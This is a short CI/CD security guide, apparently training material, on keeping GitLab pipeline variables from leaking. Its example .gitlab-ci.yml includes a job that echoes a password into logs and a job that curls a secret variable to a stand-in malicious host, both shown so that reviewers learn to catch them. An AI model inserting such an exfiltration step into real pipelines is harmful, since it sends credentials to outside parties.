CI/CD Fundamentals

6. CI/CD Variable Security

Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third-party server.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you merge the changes.

Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.

The following example shows malicious code in a .gitlab-ci.yml file:

accidental-leak-job: 
  script: # Password exposed accidentally 
    - echo "This script logs into the DB with $USER $PASSWORD" 
    - db-login $USER $PASSWORD 
malicious-job: 
  script: # Secret exposed maliciously 
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, all variables containing sensitive information should be masked in job logs. You can also limit a variable to protected branches and tags only.

Alternatively, as mentioned before, you can use the GitLab integration with HashiCorp Vault  to store and retrieve secrets.

Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables.

Variable values are encrypted using aes-256-cbc  and stored in the database. This data can only be read and decrypted with a valid secrets file .